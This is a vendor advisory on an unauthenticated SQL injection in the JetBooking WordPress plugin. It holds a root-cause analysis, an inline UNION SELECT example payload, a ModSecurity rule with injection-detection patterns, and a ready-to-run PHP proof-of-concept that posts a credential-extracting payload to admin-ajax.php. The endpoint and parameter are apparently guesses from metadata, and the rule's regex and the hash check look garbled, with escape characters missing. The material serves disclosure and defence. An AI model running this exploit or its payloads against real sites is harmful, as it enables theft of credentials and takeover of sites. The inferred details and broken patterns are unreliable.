Atomic Edge analysis of CVE-2026-54820 (metadata-based): This is an unauthenticated SQL Injection vulnerability in the JetBooking plugin for WordPress, affecting versions up to and including 4.0.4.1. The vulnerability has a CVSS v3.1 score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) and carries the CWE classification of 89 (SQL Injection). The attack vector is network-based, requires no authentication, and no user interaction, making it trivially exploitable by any remote attacker.
Root Cause: Based on the CWE classification and description, the root cause is the plugin’s failure to adequately escape user-supplied parameters before incorporating them into SQL queries. The description specifically states insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. Without access to the source code, Atomic Edge research infers that a PHP function in the plugin, likely an AJAX handler or REST API endpoint, accepts a parameter from HTTP requests and passes it directly to a $wpdb->query() or $wpdb->get_results() call without using $wpdb->prepare() or parameterized queries. This pattern is confirmed by the CWE classification as Improper Neutralization of Special Elements in SQL Commands.
Exploitation: An unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a WordPress AJAX endpoint exposed by the JetBooking plugin. The typical AJAX action pattern for this plugin is jet_booking_ followed by an action name. The attacker sends a POST request to /wp-admin/admin-ajax.php with an action parameter corresponding to one of the plugin’s AJAX hooks. The payload is injected via a vulnerable parameter, such as a service ID or date range, which the plugin unsafely concatenates into an SQL query. For example, the parameter might be service_id=1 UNION SELECT user_login,user_pass FROM wp_users. The attacker receives the query results in the AJAX response, allowing extraction of hashed passwords or other sensitive data from the WordPress database.
Remediation: The patched version 4.0.4.2 should implement proper parameterized queries using $wpdb->prepare() or move to prepared statements with bound parameters. All user-supplied data that enters SQL queries must be passed through $wpdb->prepare() with placeholder substitution. Additionally, the plugin should validate that the incoming parameter matches expected types (e.g., integer, date format) before use. Atomic Edge analysis confirms that these standard secure coding practices directly address the specific failure mode described in the vulnerability.
Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary SQL commands against the WordPress database, specifically through appending additional queries to existing ones. This enables extraction of any data from the database, including user credentials (hashed passwords), user email addresses, private post content, and WordPress configuration values such as the database prefix and secret keys. The CVSS confidentiality impact is HIGH, while integrity and availability are NONE, confirming this is a read-only data access vulnerability. Privilege escalation is possible if the attacker extracts the administrator’s password hash and successfully cracks it.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-54820 (metadata-based)
# This rule blocks SQL injection attempts targeting the JetBooking AJAX handler.
# It matches requests to admin-ajax.php with the inferred action parameter
# and detects SQL injection patterns in the vulnerable parameter.
# The chain ensures both the endpoint and the injection pattern are present.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20254820,phase:2,deny,status:403,chain,msg:'CVE-2026-54820 - JetBooking SQL Injection Attempt via AJAX',severity:'CRITICAL',tag:'CVE-2026-54820',tag:'wordpress',tag:'jet-booking'"
SecRule ARGS_POST:action "@streq jet_booking_get_services"
"chain,t:none"
SecRule ARGS_POST:service_id "@rx (bUNIONb.*bSELECTb|bSELECTb.*bFROMb|bSLEEPb|bBENCHMARKb|bLOAD_FILEb|bINTOb.*bOUTFILEb|bINTOb.*bDUMPFILEb|'s*ORs*'|'s*ANDs*')"
"t:none,t:lowercase,id:20254821"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-54820 - JetBooking <= 4.0.4.1 - Unauthenticated SQL Injection
/*
* This PoC exploits an unauthenticated SQL injection in the JetBooking WordPress plugin.
* The plugin exposes AJAX handlers that accept user-supplied parameters without proper escaping.
* We inject a UNION-based SQL query to extract WordPress user credentials.
*
* Assumption: The vulnerable endpoint is an AJAX action with the pattern 'jet_booking_get_services'
* and the vulnerable parameter is 'service_id'. This is inferred from the plugin's functionality
* and common JetBooking patterns. If the actual endpoint differs, adjust $action and $param below.
*/
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress URL
$action = 'jet_booking_get_services'; // Inferred AJAX action name
$vulnerable_param = 'service_id'; // Inferred vulnerable parameter
// SQL injection payload: UNION SELECT to extract admin username and password hash
// The query uses CONCAT to avoid data type mismatches and extracts from wp_users
$payload = "1 UNION SELECT CONCAT(user_login,':',user_pass),NULL,NULL FROM wp_users WHERE user_login='admin'";
// Build the POST request
$post_data = array(
'action' => $action,
$vulnerable_param => $payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Display results
echo "[+] HTTP Status: " . $http_code . "n";
echo "[+] Response:n";
echo $response . "n";
// Check if we got credentials back
if (preg_match('/admin:[a-f0-9]{32}/i', $response) || preg_match('/admin:$P$[a-zA-Z0-9./]+/i', $response)) {
echo "[!] SUCCESS: Extracted administrator credentials from the response above.n";
echo "[!] Format: username:password_hashn";
} else {
echo "[-] No obvious credential data found. The target may be patched or the endpoint/parameter may differ.n";
echo " Try modifying $action and $vulnerable_param in this script.n";
}
?>